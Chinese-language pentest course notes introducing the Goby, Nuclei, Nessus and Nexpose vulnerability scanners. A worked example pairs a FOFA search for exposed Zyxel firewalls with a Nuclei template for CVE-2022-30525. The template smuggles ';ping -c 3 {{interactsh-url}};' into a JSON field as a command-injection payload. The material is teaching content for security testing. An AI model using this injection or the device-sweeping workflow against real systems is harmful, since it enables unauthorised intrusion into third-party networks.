漏洞发现-操作系统服务中间件&Nuclei&Nessus&Nexpose&Goby

#知识点：

1、Goby 简单介绍&使用说明

2、Nuclei 简单介绍&使用说明

3、Nessus 简单介绍&使用说明

4、Nexpose 简单介绍&使用说明

5、掌握工具安装使用&原理&联动&适用

市面上有很多漏扫系统工具脚本，课程讲到的基本都是目前主流推荐的优秀项目！

具体项目：Burpsuite，Awvs，Xray，Goby，Afrog，Vulmap，Pocassist，Nessus，Nuclei，Pentestkit，Kunyu，BP 插件(HaE,ShiroScan.FastJsonScan,Log4j2Scan 等)等。

#章节点：

1、漏洞发现-Web&框架层面

2、漏洞发现-服务&中间件层面

3、漏洞发现-APP&小程序层面

4、漏洞发现-PC 操作系统层面

Goby 是一款新的网络安全测试工具，由赵武 Zwell（Pangolin、JSky、FOFA 作者）打造，它能够针对一个目标企业梳理最全的攻击面信息，同时能进行高效、实战化漏洞扫描，并快速的从一个验证入口点，切换到横向。能通过智能自动化方式，帮助安全入门者熟悉靶场攻防，帮助攻防服务者、渗透人员更快的拿下目标。

Nuclei 是一款基于 YAML 语法模板的开发的定制化快速漏洞扫描器。它使用 Go 语言开发，具有很强的可配置性、可扩展性和易用性。 提供 TCP、DNS、HTTP、FILE 等各类协议的扫描，通过强大且灵活的模板，可以使用 Nuclei 模拟各种安全检查。

Nessus 号称是世界上最流行的漏洞扫描程序，全世界有超过 75000 个组织在使用它。该工具提供完整的电脑漏洞扫描服务，并随时更新其漏洞数据库。Nessus 不同于传统的漏洞扫描软件，Nessus 可同时在本机或远端上遥控，进行系统的漏洞分析扫描。

Nexpose 是 Rapid7 出品，一款著名的、极佳的商业漏洞扫描工具。跟一般的扫描工具不同，Nexpose 自身的功能非常强大，可以更新其漏洞数据库，以保证最新的漏洞被扫描到。漏洞扫描效率非常高，对于大型复杂网络，可优先考虑使用；对于大型复杂网络，可以优先考虑使用。可以给出哪些漏洞可以被 Metasploit Exploit，哪些漏洞在 Exploit-db 里面有 exploit 的方案。可以生成非常详细的，非常强大的 Report，涵盖了很多统计功能和漏洞的详细信息。虽然没有 Web 应用程序扫描，但 Nexpose 涵盖自动漏洞更新以及微软补丁星期二漏洞更新。

演示案例：

- Nessus&Nexpose 漏扫操作系统漏洞
- Goby&Nuclei 漏扫系统&服务&中间件漏洞
- Nuclei 漏扫特定资产&模版导入&最新漏洞
- FofaMAP&Nuclei 漏扫自动化特定项目漏洞

项目资源：

Goby：https://github.com/gobysec/Goby/releases

Nuclei：https://github.com/projectdiscovery/nuclei

Nessus：https://mp.weixin.qq.com/s/G-7Yu8sefH3Bo3GRtUo2EA

Nexpose：https://www.fujieace.com/hacker/rapid7-nexpose.html

FofaMAP：https://github.com/asaotomo/FofaMap

#案例 1-Nessus&Nexpose 漏扫操作系统漏洞

#案例 2-Goby&Nuclei 漏扫系统&服务&中间件漏洞

Nuclei -u http://xxxxxxx

#案例 3-Nuclei 漏扫特定资产&模版导入&最新漏洞

例子：CVE-2022-30525: Zyxel 防火墙远程命令注入漏洞

FofaViewer：title=="USG FLEX 50 (USG20-VPN)"

nuclei.exe -t Zyxel.yaml -l z.txt

Zyxel.yaml：

```
id: CVE-2022-30525

info:
  name: cx
  author: remote
  severity: high
  tags: CVE-2022-30525
  reference: CVE-2022-30525

requests:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"command": "setWanPortSt","proto": "dhcp","port":
"1270","vlan_tagged": "1270","vlanid": "1270","mtu":
"{{exploit}}","data":""}


    payloads:
      exploit:
        - ";ping -c 3 {{interactsh-url}};"
```

涉及资源：

补充：涉及录像课件资源软件包资料等下载地址